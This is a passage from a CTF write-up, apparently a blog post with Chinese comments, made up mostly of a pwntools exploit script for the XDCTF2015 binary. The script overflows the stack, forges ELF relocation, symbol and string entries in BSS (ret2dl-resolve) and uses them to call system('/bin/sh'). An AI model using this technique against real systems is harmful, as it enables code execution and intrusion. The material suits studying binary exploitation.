b *0x804851B
c
"""

def start():
    def has_flag(name):
        return name in RAW_ARGS or any(arg.startswith(name + "=") for arg in RAW_ARGS)

    remote_enabled = has_flag("REMOTE") or bool(args.REMOTE)
    debug_enabled = (
        has_flag("DEBUG")
        or has_flag("GDB")
        or bool(args.DEBUG)
        or bool(args.GDB)
    )

    if remote_enabled:
        return remote(HOST, PORT, ssl=SSL)

    if debug_enabled:
        p = process(elf.path)
        log.info("Attaching gdb using terminal: %r", context.terminal)
        gdb.attach(p, gdbscript=gdbscript)
        return p

    return process(elf.path)


p = start()

# ===== exploit here =====

JMPREL = 0x8048324
SYMTAB = 0x80481cc
STRTAB = 0x804826c

plt = 0x8048370
read_plt = 0x8048390
pppr_ret = 0x8048629
ppppr_ret = 0x8048628
pop_ebp_ret = 0x804862b

BSS = 0x804a028 + 0xc

new_rel_entry_size = 0x8
new_sym_entry_size = 0x10
new_str_entry_size = len(b"system\x00\x00")

new_rel_entry_addr = BSS                                        # fake jmprel表项的地址
new_sym_entry_addr = new_rel_entry_addr + new_rel_entry_size    # fake symtab表项的地址
new_str_entry_addr = new_sym_entry_addr + new_sym_entry_size    # fake strtab表项的地址
bin_sh_addr = new_str_entry_addr + new_str_entry_size

new_rel_offset = (new_rel_entry_addr - JMPREL )   # 用于push
new_sym_offset = (new_sym_entry_addr - SYMTAB ) // new_sym_entry_size   # 这里需要保证gap是0x10的倍数
assert( (new_sym_entry_addr - SYMTAB) % new_sym_entry_size == 0 )
new_str_offset = (new_str_entry_addr - STRTAB)

# JMPREL, 原始数据 0x0804a010, 0x00000207
new_rel_entry = p32(0x804a010) + p32(new_sym_offset << 8 | 0x07)

# SYMTAB, 原始数据 0x00000027, 0x00000000, 0x00000000, 0x00000012
new_sym_entry = p32(new_str_offset) + p32(0) + p32(0) + p32(0x12)

# STRTAB, 原始数据 "read"
new_str_entry = b"system\x00\x00"

bss_payload = new_rel_entry + new_sym_entry + new_str_entry + b"/bin/sh\x00"


payload = b'A'*0x6c + p32(0x0)
payload += p32(read_plt)
payload += p32(pppr_ret)    +   p32(0) + p32(BSS) + p32(len(bss_payload))    # read(stdin, bss_buffer, len(bss_payload))

# payload += p32(pop_ebp_ret) + p32(BSS + 0x200)
payload += p32(plt) + p32(new_rel_offset) + p32(0) + p32(bin_sh_addr)


# 阻塞1
p.recvuntil(b'Welcome to XDCTF2015~!\n')
p.sendline(payload)

# 阻塞2
input('Press to continue')

p.sendline(bss_payload)
p.interactive()

注意其中的“阻塞”逻辑,在合适的时机再发送更保险(虽然很多情况下不加也不会出现问题). 比如在pwntools中使用attach的方式,这个操作本身也需要时间. 如果不加任何阻塞,可能在attach之前程序已经进行交互并且terminated了.

This post is licensed under CC BY 4.0 by the author.